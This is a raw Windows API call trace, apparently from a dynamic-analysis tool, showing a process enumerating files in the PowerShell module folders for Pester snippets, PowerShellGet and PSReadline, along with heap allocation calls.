	[0161.887] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x32e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldMatch.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.888] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97009075, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97009075, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x32e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotBe.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.888] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotBeNullOrEmpty.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.888] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9702f2dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9702f2dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9702f2dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x341, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotContain.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.888] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x33b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotExist.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.888] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x33b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotMatch.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.888] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x33f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotThrow.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.888] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldThrow.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.888] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldThrow.snippets.ps1xml", cAlternateFileName="")) returned 0
	[0161.889] FindClose (in: hFindFile=0x5dd040 | out: hFindFile=0x5dd040) returned 1
	[0161.889] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0161.889] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53e92f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a64f261, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Snippets", cAlternateFileName="")) returned 0
	[0161.890] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0161.890] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0161.890] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529e7f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 0
	[0161.890] FindClose (in: hFindFile=0x5ddb40 | out: hFindFile=0x5ddb40) returned 1
	[0162.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0162.448] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1
	[0162.449] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4570080
	[0162.449] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ddb40
	[0162.449] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0162.450] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53ec4f8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1
	[0162.450] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45b4050
	[0162.450] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\*", lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53ec4f8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0162.451] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53ec4f8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0162.451] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xb53ed28c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1
	[0162.451] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45c4058
	[0162.451] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\*", lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xb53ed28c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dde00
	[0162.451] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xb53ed28c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0162.451] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x129b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSGet.Resource.psd1", cAlternateFileName="PSGETR~1.PSD")) returned 1
	[0162.451] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x129b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSGet.Resource.psd1", cAlternateFileName="PSGETR~1.PSD")) returned 0
	[0162.451] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0162.451] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0162.451] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadf, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerShellGet.psd1", cAlternateFileName="POWERS~1.PSD")) returned 1
	[0162.452] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x203b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSGet.Format.ps1xml", cAlternateFileName="PSGETF~1.PS1")) returned 1
	[0162.452] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13872, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSGet.Resource.psd1", cAlternateFileName="PSGETR~1.PSD")) returned 1
	[0162.452] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8ec1f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSModule.psm1", cAlternateFileName="PSMODU~1.PSM")) returned 1
	[0162.452] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8ec1f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSModule.psm1", cAlternateFileName="PSMODU~1.PSM")) returned 0
	[0162.452] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0162.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b4050 | out: hHeap=0x4f0000) returned 1
	[0162.452] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53ec4f8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 0
	[0162.452] FindClose (in: hFindFile=0x5ddb40 | out: hFindFile=0x5ddb40) returned 1
	[0162.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0162.452] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSReadline", cAlternateFileName="PSREAD~1")) returned 1
	[0162.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4570080
	[0162.453] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\*", lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dde00
	[0162.453] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0162.453] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb5477959, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfff2ff0e, ftLastWriteTime.dwHighDateTime=0x1d1a04a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.1", cAlternateFileName="")) returned 1
	[0162.453] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45b4050
	[0162.453] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\*", lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb5477959, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfff2ff0e, ftLastWriteTime.dwHighDateTime=0x1d1a04a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddb40
	[0162.454] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb5477959, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfff2ff0e, ftLastWriteTime.dwHighDateTime=0x1d1a04a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0162.454] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff2ff0e, ftCreationTime.dwHighDateTime=0x1d1a04a, ftLastAccessTime.dwLowDateTime=0xb5478c6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfff2ff0e, ftLastWriteTime.dwHighDateTime=0x1d1a04a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en", cAlternateFileName="")) returned 1
	[0162.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45c4058
	[0162.454] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\en\\*", lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff2ff0e, ftCreationTime.dwHighDateTime=0x1d1a04a, ftLastAccessTime.dwLowDateTime=0xb5478c6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfff2ff0e, ftLastWriteTime.dwHighDateTime=0x1d1a04a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0162.454] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff2ff0e, ftCreationTime.dwHighDateTime=0x1d1a04a, ftLastAccessTime.dwLowDateTime=0xb5478c6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfff2ff0e, ftLastWriteTime.dwHighDateTime=0x1d1a04a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0162.454] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfff2ff0e, ftCreationTime.dwHighDateTime=0x1d1a04a, ftLastAccessTime.dwLowDateTime=0xfb6a7fd7, ftLastAccessTime.dwHighDateTime=0x1d1a04a, ftLastWriteTime.dwLowDateTime=0xfb6a7fd7, ftLastWriteTime.dwHighDateTime=0x1d1a04a, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.PSReadline.Resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0162.454] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfff2ff0e, ftCreationTime.dwHighDateTime=0x1d1a04a, ftLastAccessTime.dwLowDateTime=0xfb6a7fd7, ftLastAccessTime.dwHighDateTime=0x1d1a04a, ftLastWriteTime.dwLowDateTime=0xfb6a7fd7, ftLastWriteTime.dwHighDateTime=0x1d1a04a, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.PSReadline.Resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 0
	[0162.454] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0162.454] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0162.455] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b93ba, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97199283, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97199283, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x25200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.PSReadline.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0162.455] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b93ba, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97199283, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97199283, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2e1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSReadline.psd1", cAlternateFileName="PSREAD~1.PSD")) returned 1
